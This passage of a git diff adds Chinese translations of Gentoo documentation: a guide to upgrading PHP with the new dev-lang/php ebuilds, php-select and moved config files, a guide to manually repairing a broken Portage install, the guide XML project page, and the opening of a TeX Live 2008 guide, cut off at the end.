+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/php/php-upgrading.xml,v 1.1 2007/10/06 18:00:36 r0bertz Exp $ -->
+<!-- English CVS version: 1.5 -->
+
+<guide link="/proj/zh_cn/php/php-upgrading.xml" lang="zh_cn">
+<title>升级PHP</title>
+
+<author title="作者">
+ <mail link="akorthaus@web.de">Andreas Korthaus</mail>
+</author>
+<author title="译者">
+ <mail link="jjj3112000@126.com">Zezhou Jiang</mail>
+</author>
+
+<abstract>
+这个文档描述了最终用户安全升级PHP时所需要做的步骤。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2007-08-11</date>
+
+<chapter>
+<title>介绍</title>
+<section>
+<body>
+
+<p>
+在过去有许多要求为什么在Portage里PHP5还没有被标记成稳定。问题不是PHP5包自身，PHP5没有被标记成稳定的主要原因是在Portage里的许多应用程序、PHP扩展和包还无法在PHP5下工作，但是我们毫无办法。PHP5不是100%地向后兼容PHP4，而且不是所有的PHP4程序可以被移植到PHP5上运行。在未来的很长一段时间内许多用户仍需要PHP4的支持。
+</p>
+
+<p>
+这个问题的解决方案是提供一个在同一个主机同时混合PHP4和PHP5环境。但是对于现在的PHP包和eclass的界面来说是不可能的，所以必须有一个新的界面，新的eclass和新的ebuild。
+</p>
+
+<p>
+这个文档详细描述了如何在不中断你的系统的情况下升级。
+</p>
+
+<note>
+新的PHP包需要新的Apache界面，所以如果你还没升级，请看看<uri link="/doc/en/apache-upgrading.xml">升级Apache</uri>。
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>变化</title>
+<section>
+<title>统一的基本PHP包</title>
+<body>
+
+<p>
+所有的PHP的ebuild <c>dev-php/php</c>，<c>dev-php/php-cgi</c>和<c>dev-php/mod_php</c>已经整合成一个ebuild了：<c>dev-lang/php</c>。
+</p>
+
+<p>
+选择你需要的SAPI，使用这些USE标记：
+</p>
+
+<ul>
+  <li><c>cgi</c>——编译和安装<path>/usr/bin/php-cgi</path></li>
+  <li><c>cli</c>——编译和安装<path>/usr/bin/php</path></li>
+  <li><c>apache</c>——编译和安装Apache 1.3的<c>mod_php</c>（新布局）</li>
+  <li><c>apache2</c>——编译和安装Apache 2.0的<c>mod_php</c>（新布局）</li>
+</ul>
+
+<p>
+你可以混合并且组合这些USE标记；除了你不能同时开启<c>apache</c>和<c>apache2</c>两个USE标记。
+</p>
+
+<p>
+这些ebuild的所有点是你可以同时拥有PHP4和PHP5：
+</p>
+
+<pre caption="安装PHP">
+<comment>（安装最新的有CLI和Apache2模块的PHP）</comment>
+<i>USE="cli apache2" emerge 'dev-lang/php'</i>
+
+<comment>（只安装PHP4）</comment>
+<i>USE="cli apache2" emerge '=dev-lang/php-4*'</i>
+
+<comment>（安装两种，PHP4和PHP5）</comment>
+<i>USE="cli apache2" emerge '=dev-lang/php-4*' '=dev-lang/php-5*'</i>
+</pre>
+
+<note>
+USE标记不能像这样设，请使用<path>/etc/portage/package.use</path>，这个稍后会说。
+</note>
+
+</body>
+</section>
+
+<section>
+<title>新的Portage分类</title>
+<body>
+
+<p>
+新的PHP的ebuild已经从<c>dev-php</c>被移到<c>dev-lang/php</c>下了。为了独立地安装PHP4和PHP5，两个新的Portage分类已经被创建了：<c>dev-php4</c>和<c>dev-php5</c>。这些分类主要被用于PECL包像<c>pecl-pdo</c>，<c>pecl-apc</c>，<c>php-java-bridge</c>或<c>xdebug</c>。
+</p>
+
+<p>
+安装<c>pecl-apc</c>：
+</p>
+
+<pre caption="安装PHP扩展像PECL::APC（示例）">
+<comment>（只为PHP4安装APC）</comment>
+<i>emerge dev-php4/pecl-apc</i>
+
+<comment>（只为PHP5安装APC）</comment>
+<i>emerge dev-php5/pecl-apc</i>
+
+<comment>（为PHP4和PHP5安装APC）</comment>
+<i>emerge dev-php4/pecl-apc dev-php5/pecl-apc</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>新目录</title>
+<body>
+
+<ul>
+  <li>这些ebuild会将他们的内容安装到<path>/usr/lib/php4</path>和<path>/usr/lib/php5</path>下（Apache的模块被安装到相应的Apache目录里）</li>
+  <li>PEAR包和其他的PHP库文件将会被安装到<path>/usr/share/php</path>（之前是<path>/usr/lib/php</path>）</li>
+  <li>PECL包已经不再往<path>php.ini</path>配置文件下添加配置知道了，但添加一个<path>[PACKAGE].ini</path>文件到<path>/etc/php/[SAPI]/ext</path>目录下。</li>
+</ul>
+
+</body>
+</section>
+
+<section>
+<title>PHP库的符号链接</title>
+<body>
+
+<p>
+如果你安装不止一个版本的PHP，如：
+</p>
+
+<pre caption="编译安装PHP4和PHP5">
+<i>USE="cgi cli apache2" emerge '=dev-lang/php-4*' '=dev-lang/php-5*'</i>
+</pre>
+
+<p>
+ebuild将会在<path>/usr/bin</path>里为你安装的最后一个PHP版本建立链接，在这个例子中PHP5在PHP4后面装好。如果你想要<path>/usr/bin/php</path>或者<path>/usr/bin/php-cgi</path>指向PHP4，或者其中一个指向PHP4另一个指向PHP5，你可以使用来自<c>app-admin/php-toolkit</c>的<uri link="#doc_chap3_sect5">use the php-select tool</uri>。<c>php-select</c>将会使链接正确的二进制库变得十分简单。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>升级说明</title>
+<section>
+<title>找到要升级的包</title>
+<body>
+
+<p>
+首先你要想好你要升级哪些包。你可以使用<c>equery</c>工具来达到目的，它是<c>app-portage/gentoolkit</c>包的一部分：
+</p>
+
+<pre caption="列出在dev-php中已安装的包">
+$ <i>equery list 'dev-php/'</i>
+[ Searching for all packages in 'dev-php' among: ]
+ * installed packages
+[I--] [  ] dev-php/php-4.4.0 (0)
+[I--] [  ] dev-php/mod_php-4.4.0 (1)
+[I--] [  ] dev-php/smarty-2.6.10 (0)
+[I--] [  ] dev-php/PEAR-PEAR-1.3.5-r1 (0)
+[I--] [  ] dev-php/PEAR-Mail-1.1.6 (0)
+[I--] [  ] dev-php/PEAR-MDB-1.3.0 (0)
+[I--] [  ] dev-php/PECL-apc-3.0.6 (0)
+[I--] [  ] dev-php/PECL-imagick-0.9.11 (0)
+[I--] [  ] dev-php/xdebug-2.0.0_beta3 (0)
+</pre>
+
+<impo>
+你安装好的包可能有巨大的不同，请确定你自己运行了这个命令。你应该保存上面建立好了的你的列表，来确保你将会升级所有的包。
+</impo>
+
+<note>
+许多web应用程序因为它们不使用web应用程序eclass，所以不会受到影响，它们需要小心地正确安装。你可能想要检查一下是否那里有新的修订。
+</note>
+
+<p>
+PHP扩展，像
+</p>
+
+<ul>
+  <li><c>PECL-apc</c></li>
+   <li><c>PECL-imagick</c></li>
+   <li><c>xdebug</c></li>
+</ul>
+
+<p>
+已经被分为两个Portage分类：<c>dev-php4</c>和<c>dev-php5</c>，来使它能够为两个PHP版本独立地使用它们。还有，这些包的大部分已经被重命名过了：
+</p>
+
+<p>
+新目录和重命名的示例：
+</p>
+
+<table>
+  <tr>
+    <th>PHP扩展</th>
+    <th>旧的</th>
+    <th>新PHP4</th>
+    <th>新PHP5</th>
+  </tr>
+  <tr>
+    <ti>APC</ti>
+    <ti>dev-php/PECL-apc</ti>
+    <ti>dev-php4/pecl-apc</ti>
+    <ti>dev-php5/pecl-apc</ti>
+  </tr>
+  <tr>
+    <ti>Imagick</ti>
+    <ti>dev-php/PECL-imagick</ti>
+    <ti>dev-php4/pecl-imagick</ti>
+    <ti>dev-php5/pecl-imagick</ti>
+  </tr>
+  <tr>
+    <ti>Xdebug</ti>
+    <ti>dev-php/xdebug</ti>
+    <ti>dev-php4/xdebug</ti>
+    <ti>dev-php5/xdebug</ti>
+  </tr>
+</table>
+
+<note>
+在重新编译安装这些扩展前，你必须到<path>/usr/portage</path>下找出那些包是如何被重命名的。
+</note>
+
+</body>
+</section>
+
+<section>
+<title>移除旧的包</title>
+<body>
+
+<p>
+我们对Gentoo下的PHP做了很多改变。你必须在安装新的包前完全移除你的旧的PHP包：
+</p>
+
+<pre caption="移除旧的包（示例）">
+<comment>（反安装PHP包）</comment>
+<i>emerge --unmerge php mod_php</i>
+
+<comment>（反安装PHP扩展）</comment>
+<i>emerge --unmerge PECL-apc PECL-imagick xdebug</i>
+
+<comment>（反安装PHP库或应用程序）</comment>
+<i>emerge --unmerge PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>设置USE标记</title>
+<body>
+
+<p>
+因为我们已经添加了一些新的USE标记，你可能想要重新看看它们，并且添加适当的USE标记到<path>/etc/portage/package.use</path>里（如果不存在的话需要创建）
+</p>
+
+<note>
+ <path>/etc/portage/package.use</path>将会为你的PHP安装设置USE标记，并且不通过修改<path>make.conf</path>来记录他们。
+</note>
+
+<p>
+请根据你要安装的PHP支持来设置USE标记（推荐至少要设置<c>cli</c>这个USE标记）：
+</p>
+
+<pre caption="dev-lang/php的USE标记（示例）">
+dev-lang/php -* cli apache2 ctype expat fastbuild ftp gd hash iconv memlimit mysql nls pcre pic pdo reflection session simplexml sockets spl ssl tokenizer truetype unicode xml xsl zlib
+</pre>
+
+<note>
+<c>-*</c>将会禁用所有的USE标记（它甚至会禁用一些PHP基本的特性像Session-，PCRE-，gd-和MySQL支持），所以你必须特别地为一些你想要的扩展或特性指定USE标记。请参看<uri link="http://overlays.gentoo.org/proj/php/wiki/ManagingExtensions">管理扩展</uri>来获取更多细节。你必须为以上默认的设置USE标记像这些：如果你想用<c>pcre</c>参看<uri link="http://overlays.gentoo.org/proj/php/wiki/PhpRefPcre">preg_*函数</uri>，或者你想用<c>会话</c>参看<uri link="http://overlays.gentoo.org/proj/php/wiki/PhpRefSession">会话处理函数</uri>。
+</note>
+
+<p>
+如果你想安装同时PHP4和PHP5，你可以为每个不同版本加入不同的USE标记：
+</p>
+
+<pre caption="PHP4和PHP5 USE标记的不同（示例）">
+=dev-lang/php-4* -* cli cgi apache2 ctype expat fastbuild force-cgi-redirect ftp gd iconv ipv6 memlimit mysql nls pcre pic posix session sockets ssl tokenizer truetype unicode xml xsl zlib
+=dev-lang/php-5* -* cli cgi apache2 ctype fastbuild force-cgi-redirect ftp gd hash iconv ipv6 memlimit mysql nls pcre pic posix pdo reflection session simplexml soap sockets spl sqlite ssl tokenizer truetype unicode xml xmlreader xmlwriter xsl zlib
+</pre>
+
+<note>
+你可以在<uri link="http://overlays.gentoo.org/proj/php/wiki/CommonQuestions">推荐的USE标记</uri>里找到推荐的USE标记列表。在overlay的维基百科<uri link="http://overlays.gentoo.org/proj/php/wiki/NewUseFlags">USE标记列表</uri>里你能找到PHP能用的USE标记的列表。</note>
+
+</body>
+</section>
+
+<section>
+<title>编译安装PHP</title>
+<body>
+
+<p>
+现在选择单独安装PHP4或单独安装PHP5，还可以同时安装。如果你要单独安装PHP4你必须emerge <c>=dev-lang/php-4*</c>，单独安装PHP5（最新）你可以用<c>dev-lang/php</c>，如果要同时安装的话，你必须emerge <c>=dev-lang/php-4*</c>和<c>=dev-lang/php-5*</c>。
+</p>
+
+<p>
+检查USE标记设置：
+</p>
+
+<pre caption="检查USE标记（示例）">
+<comment>（检查PHP4包）</comment>
+<i>emerge --pretend --verbose '=dev-lang/php-4*'</i>
+
+<comment>（检查PHP5包）</comment>
+<i>emerge --pretend --verbose '=dev-lang/php-5*'</i>
+
+<comment>（为PHP4检查PHP扩展）</comment>
+<i>emerge --pretend --verbose dev-php4/pecl-apc dev-php4/pecl-imagick dev-php4/xdebug</i>
+
+<comment>（为PHP5检查PHP扩展）</comment>
+<i>emerge --pretend --verbose dev-php5/pecl-apc dev-php5/pecl-imagick</i>
+
+<comment>（检查PHP库和应用程序）</comment>
+<i>emerge --pretend --verbose PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+<p>
+如果一切都好了，请编译安装PHP：
+</p>
+
+<pre caption="编译安装新的包（示例）">
+<comment>（编译PHP4包）</comment>
+<i>emerge '=dev-lang/php-4*'</i>
+
+<comment>（编译PHP5包）</comment>
+<i>emerge '=dev-lang/php-5*'</i>
+
+<comment>（为PHP4编译安装扩展）</comment>
+<i>emerge dev-php4/pecl-apc dev-php4/pecl-imagick dev-php4/xdebug</i>
+
+<comment>（为PHP5编译安装扩展）</comment>
+<i>emerge dev-php5/pecl-apc dev-php5/pecl-imagick</i>
+
+<comment>（编译PHP库或应用程序）</comment>
+<i>emerge PEAR-PEAR PEAR-Mail PEAR-MDB smarty</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>PHP4和PHP5的相似之处：选择使用哪个cli/cgi二进制包</title>
+<body>
+
+<p>
+在你编译安装后你将会有在<path>/usr/lib/php4/bin</path>和/或<path>/usr/lib/php5/bin</path>里的<c>cli</c>和/或<c>cgi</c>的二进制包。如果你把PHP4和PHP5都装了，那么Portage不能为你决定哪一个应该被作为默认的版本，所以它总是把你安装在<path>/usr/bin</path>的最后一个版本作为默认的。所以如果你最后装了PHP5，你将会看到<path>/usr/bin/php</path>被链接到了<path>/usr/lib/php5/bin/php</path>。所以一个<c>cli</c>和/或<c>cgi</c>的二进制包和<c>php-devel</c>（为建立使用<c>phpize</c>和<c>php-config</c>的PHP扩展）必须被链接（在<path>/usr/bin</path>里），这可以很简单地用<c>app-admin/php-toolkit</c>的一部分<c>php-select</c>来完成。
+</p>
+
+<note>
+<c>dev-lang/php</c>包依赖于<c>app-admin/php-toolkit</c>所以<c>app-admin/php-toolkit</c>应该能够在编译安装担心的PHP包以后自动启用。
+</note>
+
+<p>
+假如你已经编译安装了<c>=dev-lang/php-4*</c>或<c>=dev-lang/php-5*</c>，输入如下命令<c>php-select</c>来看看最近选择的PHP版本：
+</p>
+
+<pre caption="列出最近选择的PHP版本">
+<comment>（为cli）</comment>
+<i>php-select php</i>
+
+<comment>（为cgi）</comment>
+<i>php-select php-cgi</i>
+
+<comment>（为phpize，php-config）</comment>
+<i>php-select php-devel</i>
+</pre>
+
+<p>
+你应该会看到像这样的东西：
+</p>
+
+<pre caption="php-select的示例输出">
+# <i>php-select php</i>
+/usr/bin/php is set to /usr/lib/php5/bin/php
+</pre>
+
+<p>
+这意味着默认的PHP的cli二进制包路径<path>/usr/bin/php</path>被链接到PHP5的二进制包路径<path>/usr/lib/php5/bin/php</path>下了。所以PHP脚本使用的<path>/usr/bin/php</path>会被PHP5运行。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>用php-select来改变默认的PHP版本</title>
+<body>
+
+<p>
+如果你不喜欢你在最后一章找出的默认版本设置，你可以再次使用<c>php-select</c>来选择一个想要的版本：
+</p>
+
+<pre caption="选择想要得到的版本">
+<comment>（为cli）</comment>
+<i>php-select php php4</i>
+
+<comment>（为cgi）</comment>
+<i>php-select php-cgi php5</i>
+
+<comment>（为phpize，php-config）</comment>
+<i>php-select php-devel php5</i>
+</pre>
+
+<note>
+请输入<c>php-select -h</c>来详细了解更多<c>php-select</c>功能的细节。
+</note>
+
+<p>
+检查符号链接：
+</p>
+
+<pre caption="检查符号链接">
+ # <i>stat /usr/bin/php /usr/bin/php-cgi /usr/bin/phpize /usr/bin/php-config | grep File</i>
+ File: `/usr/bin/php' -&gt; `/usr/lib/php4/bin/php'
+ File: `/usr/bin/php-cgi' -&gt; `/usr/lib/php5/bin/php-cgi'
+ File: `/usr/bin/phpize' -&gt; `/usr/lib/php5/bin/phpize'
+ File: `/usr/bin/php-config' -&gt; `/usr/lib/php5/bin/php-config'
+</pre>
+
+<note>
+请记住<c>php-select</c>只改变默认的版本。如果你PHP4和PHP5的cgi/cli都装了，你可以用直接路径像<path>/usr/lib/php4/bin/php</path>和<path>/usr/lib/php5/bin/php</path>来运行你个特定版本的PHP脚本。你可以在相同的Apache实例中使用PHP4和PHP5的cgi，但是你不能在相同的Apache实例中使用两个不同的PHP的Apache模块，参见<uri link="php4-php5-configuration.xml">PHP4和PHP5配置指南</uri>来得到更多细节。
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>配置文件的移动</title>
+<section>
+<body>
+
+<p>
+Gentoo的PHP包在<path>/etc/php</path>下存储配置文件，它包括每个不同PHP版本的每个SAPI的一个子目录：
+</p>
+
+<pre caption="列出PHP配置目录">
+$ <i>ls -1 /etc/php</i>
+apache2-php4
+apache2-php5
+cli-php4
+cli-php5
+</pre>
+
+<p>
+每个子目录包含一个自己的<path>php.ini</path>，像旧的包一样。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>php.ini的改变</title>
+<body>
+
+<p>
+你应该使用<c>etc-update</c>或者<c>dispatch-conf</c>，然后看看在<path>php.ini</path>里的新旧配置的不同。两个规则你必须明确的是<c>include_path</c>和<c>extension_dir</c>。但是在这里请小心，因为<c>extension_dir</c>在两个不同的PHP版本间是不同的（在5.0和5.1间也一样！）。
+</p>
+
+<p>
+PHP5.1在<path>/etc/php/apache2-php5/php.ini</path>和<path>/etc/php/cli-php5/php.ini</path>的示例：
+</p>
+
+<pre caption="php.ini的旧配置">
+include_path = ".:/usr/lib/php"
+extension_dir = "/usr/lib/php/extensions/no-debug-non-zts-20050617/"
+</pre>
+
+<pre caption="php.ini的新设置">
+include_path = ".:/usr/share/php"
+extension_dir = "/usr/lib/php5/lib/php/extensions/no-debug-non-zts-20050617/"
+</pre>
+
+<warn>
+确保你使用了<c>etc-update</c>或者<c>dispatch-conf</c>来查看所有文件的正确设置。
+</warn>
+
+</body>
+</section>
+
+<section>
+<title>改变了的PHP扩展的配置</title>
+<body>
+
+<p>
+新的PHP包不会在<path>php.ini</path>里存储共享的PHP扩展的配置指令。这些指令会被存储在每一个扩展的在<path>/etc/php/*/ext</path>目录里的自己的配置文件里。如果要启用/禁用共享的扩展，<path>/etc/php/*/ext-active</path>的链接被使用了。如果你想要启动一个扩展，创建<path>/etc/php/*/ext-active</path>的链接到<path>/etc/php/*/ext/</path>目录里的适当的<path>[EXTENSION].ini</path>文件上。如果你想要禁用扩展，只要移除链接就好。
+</p>
+
+<p>
+如果你之前已经装了<c>dev-php/PECL-apc</c>，APC配置文件已经储存在你的<path>php.ini</path>里了。如果你重新编译安装了型的<c>dev-php5/pecl-apc</c>包，默认的APC配置文件将会被写到<path>/etc/php/*5/ext/apc.ini</path>里。
+</p>
+
+<p>
+所以你必须从<path>/etc/php/*5/php.ini</path>移动你的APC配置规则到<path>/etc/php/*5/ext/apc.ini</path>，然后创建一个符号链接从<path>/etc/php/*5/ext-active/apc.ini</path>到<path>/etc/php/*5/ext/apc.ini</path>。
+</p>
+
+<note>
+如果你把PHP安装作一个Apache的模块，请确定你在安装和配置后重启了Apache。
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>配置Apache来与PhP4和/或PHP5一起工作</title>
+<section>
+<body>
+
+<p>
+为了配置Apache来加载PHP4或PHP5模块（mod_php），你应该分别添加<c>-D PHP4</c>和<c>-D PHP5</c>到在<path>/etc/conf.d/apache2</path>文件里的<c>APACHE2_OPTS</c>变量里。
+</p>
+
+<pre caption="配置Apache来加载mod_php">
+<comment>（为PHP4设置）</comment>
+<i>APACHE2_OPTS="-D PHP4"</i>
+
+<comment>（或者为PHP5设置）</comment>
+<i>APACHE2_OPTS="-D PHP5"</i>
+</pre>
+
+<p>
+有许多方法可以使Apache同时运行两个PHP版本。最简单的方法是把PHP4和PHP5作为一个cgi二进制库来使用，或者一个PHP4的cgi和一个PHP5的模块（或者是其他的办法）。在同一Apache实例中无法同时使用PHP4模块和PHP5模块。
+</p>
+
+<p>
+我们创建了<uri link="php4-php5-configuration.xml">PHP4和PHP5配置指南</uri>来提供一些可能的解决方案。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>支持和得到帮助</title>
+<section>
+<body>
+
+<p>
+如果你在使用新的Gentoo的PHP包时遇到麻烦，你可以在这里找到帮助：
+</p>
+
+<ul>
+  <li>
+    关于Gentoo上的PHP的<uri link="http://overlays.gentoo.org/proj/php/wiki/CommonQuestions">常见问题</uri>
+  </li>
+  <li>
+    <uri link="http://overlays.gentoo.org/proj/php/">PHP Overlay的开发页面</uri>
+  </li>
+  <li>
+    在irc.freenode.net上的#gentoo-php；这是一个overlay的正式作者经常逛的聊天室。我们很希望在那见到你！
+  </li>
+  <li>
+    <uri link="http://forums.gentoo.org/">Gentoo论坛</uri>这里是寻求帮助的好地方。这里有很多每时每刻都阅读论坛的其他Gentoo用户，如果你急需得到帮助，这里是个好地方。
+  </li>
+</ul>
+
+<p>
+对于新的包的细节，你可以看看<uri link="http://article.gmane.org/gmane.linux.gentoo.devel/30050">gentoo-dev上Stuart的邮件</uri>。你也许觉得<uri link="http://blog.stuartherbert.com/php/">Stuart的PHP博客</uri>也很有趣。
+</p>
+
+<p>
+在<uri link="http://overlays.gentoo.org/proj/php/">开发页面</uri>上，你将会发现很多文档和最近的ebuild，这些将会迟一些才被移到官方的Portage树。
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/zh_cn/portage/doc/manually-fixing-portage.xml b/xml/htdocs/proj/zh_cn/portage/doc/manually-fixing-portage.xml
new file mode 100644
index 00000000..4959843e
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/portage/doc/manually-fixing-portage.xml
@@ -0,0 +1,128 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/portage/doc/manually-fixing-portage.xml,v 1.5 2010/04/12 15:16:47 r0bertz Exp $ -->
+<!-- English CVS version: 1.14 -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/zh_cn/portage/doc/manually-fixing-portage.xml" lang="zh_cn">
+
+<title>手动修复破损的portage安装</title>
+
+<author>
+  <mail link="genone@gentoo.org">Marius Mauch</mail>
+</author>
+<author title="译者">
+  <mail link="ritksm@gmail.com">江泽洲</mail>
+</author>
+<author title="审校">
+  <mail link="robert.zhangle@gmail.com">张乐</mail>
+</author>
+
+<abstract>
+希望这个文档可以帮助到那些想要手动修复破损的sys-apps/portage的安装的人。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.3</version>
+<date>2010-04-12</date>
+
+<chapter>
+<title>手动修复portage</title>
+<section>
+<title>目的</title>
+<body>
+
+<p>
+这个部分将会告诉你如何在无法运行<c>emerge sys-apps/portage</c>的时候手动升级或修复你的portage安装。虽然这并不难，但你仍然需要很小心地来完成，所以请一步一步跟着以下的指南（在必要的时候用一下常识）。
+</p>
+
+</body>
+</section>
+<section>
+<title>下载portage压缩包</title>
+<body>
+
+<p>
+第一步是获取一个最新版本portage的压缩包。在以下的文章中我们使用<e>portage-2.1.7</e>作为一个例子（因为这是在写这篇文章的时候最新的稳定版本），如果可能的话请用软件包树里最新的版本来替换。
+</p>
+
+<warn>
+如果你当前安装的python的版本小于2.6的话（你可以使用<c>python -V</c>来查看版本），那么你必须选择一个与之相兼容的portage版本。如果你有一个大于2.6版本的python就使用<e>portage-2.1.7.tar.bz2</e>，如果你有一个2.4或者2.5版本的python就使用<e>portage-2.1.6.tar.bz2</e>。
+</warn>
+
+<p>
+在一些特定的情况下，portage虽然损坏但可能还可以为你下载压缩包，所以请先试着运行<c>emerge --fetchonly sys-apps/portage</c>，只有当这个方法行不通的时候，你才必须手动下载压缩包：
+</p>
+
+<pre caption="使用wget下载portage压缩包">
+# <i>wget -P /usr/portage/distfiles http://distfiles.gentoo.org/distfiles/portage-2.1.7.tar.bz2</i>
+</pre>
+
+<p>
+在下载完以后，你应该能在像<path>/usr/portage/distfiles/portage-2.1.7.tar.bz2</path>这样的地方找到portage的压缩包。
+</p>
+
+</body>
+</section>
+<section>
+<title>替换已安装的版本</title>
+<body>
+
+<p>
+下一步是下载来的压缩包解压缩到一个临时的位置，如果使用<path>/root/portage-recover</path>这个目录作为一个例子，那么完成这个步骤的命令就是：
+</p>
+
+<pre caption="解压缩portage的压缩包">
+# <i>cd /root</i>
+# <i>mkdir portage-recover</i>
+# <i>cd portage-recover</i>
+# <i>tar xfj /usr/portage/distfiles/portage-2.1.7.tar.bz2</i>
+</pre>
+
+<p>
+在解压缩完以后，你就只要用压缩包里的python和bash文件替换掉已安装版本的文件就行了（不管怎样在大多数情况下是这样的）。请运行：
+</p>
+
+<pre caption="替换已经安装的文件">
+# <i>cd /root/portage-recover/portage-2.1.7</i>
+# <i>cp -R pym bin /usr/lib/portage/</i>
+</pre>
+
+<p>
+如果你不是在FreeBSD上使用Gentoo，那么你就要移除sed wrapper脚本，因为我们已经不再需要它了，而且已知它和老版本的bash一起使用会造成许多问题：
+</p>
+
+<pre caption="移除sed wrapper脚本">
+# <i>rm -f /usr/lib/portage/bin/sed</i>
+</pre>
+
+<note>
+如果你之前不小心unmerge了portage或者因为其他原因丢失了<path>/etc/make.globals</path>，你也应该复制<path>cnf/make.globals</path>到<path>/etc</path>目录里，否则portage可能会有一些很奇怪的错误。
+</note>
+
+<note>
+如果前一个版本的portage是低于2.1的，那么你就需要在继续下一步之前运行<c>emerge --metadata</c>。这是必要的，因为它会把ebuild的metadata转换成portage2.1或以上版本所使用的新格式。如果你不确定上一个版本的poratge版本号，你运行这个命令也没有什么大碍。
+</note>
+
+<p>
+现在你应该又有了一个能运行的portage。为了确定现在你的系统是处于一个稳定的状态，你需要立刻再次运行<c>emerge sys-apps/portage</c>。
+</p>
+
+<p>
+当你试着运行<c>emerge</c>命令的时候，如果你得到一个<e>command not found</e>的错误信息，你必须重新创建链接：
+</p>
+
+<pre caption="重新创建emerge的链接">
+# <i>ln -s ../lib/portage/bin/emerge /usr/bin/emerge</i>
+</pre>
+
+<p>
+如果这些步骤对你的问题（比如说不是一个破损的portage安装而是其他的在这个文档范围之外的问题）不起作用的话。请重新查看<uri link="/proj/en/portage/doc/common-problems.xml">常见问题列表</uri>，你还可以查看<uri link="http://bugs.gentoo.org">bugzilla</uri>，这里可能有一些Bug的报告。
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/zh_cn/site.xml b/xml/htdocs/proj/zh_cn/site.xml
new file mode 100644
index 00000000..d3ee8188
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/site.xml
@@ -0,0 +1,62 @@
+<?xml version='1.0'?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- English CVS version: 1.9 -->
+<guide type="project" link="site.xml">
+<title>XML projects page</title>
+<author title="作者"><mail link="drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title="译者">
+  <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+
+<abstract>
+本页包含“guide XML”项目的相关信息，此项目用于Gentoo Linux文档和网站。
+</abstract>
+
+<version>1.3</version>
+<date>2005-10-10</date>
+
+<chapter>
+<title>Guide XML</title>
+
+<section>
+<body>
+
+<p>
+Gentoo Linux团队使用一种专用的简单XML格式<c>guide XML</c>创建他们所有的文档和网页。如果有兴趣更多地了解这种格式，可以阅读<uri link="http://www.ibm.com/developerworks">IBM developerWorks</uri>文章中的<e>一个重生的站点</e>系列，丹尼尔·罗宾斯著作：
+</p>
+
+<ul>
+ <li>
+ 	在<uri link="/doc/en/articles/l-redesign-1.xml">第1部分</uri>中，丹尼尔向读者演示了如何创建以用户为中心的行动计划，并介绍了pytext，这是一种嵌入式Python解释器。 
+ </li>
+ <li>
+ 	在<uri link="/doc/en/articles/l-redesign-2.xml">第2部分</uri>中，丹尼尔将展示新的<c>guide XML</c>文档系统以及建立一个CVS-log邮件列表。
+ </li>
+ <li>
+   在<uri link="/doc/en/articles/l-redesign-3.xml">第3部分</uri>中，他将给网站一个新的外观
+ </li> 
+ <li>
+ 	在<uri link="/doc/en/articles/l-redesign-4.xml">第4部分</uri>中，丹尼尔完成了到XML/XSLT的转换，修复了Netscape 4.x浏览器的访问bug，还为网站添加了自动生成的XML Changelog。
+ </li>
+</ul>
+
+<p>
+我们还有一篇<uri link="/doc/en/xml-guide.xml">Gentoo Linux文档指南</uri>，讲解如何使用<c>guide XML</c>格式。
+</p>
+
+<!--
+You can download the latest version of all our <c>guide XML</c> tools by
+grabbing this file, which actually contains a CVS snapshot of all the files
+used to create the Web site: <uri
+link="/dyn/arch/xml-guide-latest.tar.gz">xml-guide-latest.tar.gz</uri>.  This
+tarball is automatically regenerated every time the Gentoo Linux Web site is
+updated, so it will always be current.  Instructions on how to use the included
+files can be found in the <uri link="/doc/en/xml-guide.xml">Gentoo Linux
+Documentation Guide</uri> (FYI, this tarball contains a snapshot of the
+<path>gentoo-web</path> directory from our <path>gentoo-src</path> CVS module.)
+-->
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/zh_cn/tex/texlive-migration-guide.xml b/xml/htdocs/proj/zh_cn/tex/texlive-migration-guide.xml
new file mode 100644
index 00000000..35284a89
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/tex/texlive-migration-guide.xml
@@ -0,0 +1,370 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header -->
+<!-- English CVS version: 1.7 -->
+<guide link="/proj/zh_cn/tex/texlive-migration-guide.xml" lang="zh_cn" disclaimer="draft">
+<title>Tex Live 2008 指南</title>
+
+<author title="Author">
+  <mail link="aballier@gentoo.org">Alexis Ballier</mail>
+</author>
+<author title="译者"> 
+<mail link="bezetek@gmail.com">彭亮</mail> 
+</author> 
+<abstract>这是一份指导你如何在Gentoo上安装Tex Live 2008的指南，更具体一点说是如果你已经安装了一份Tex发行版（比如tetex或者Tex Live 2005），再安装Tex Live 2008时的一些注意事项。</abstract>
+
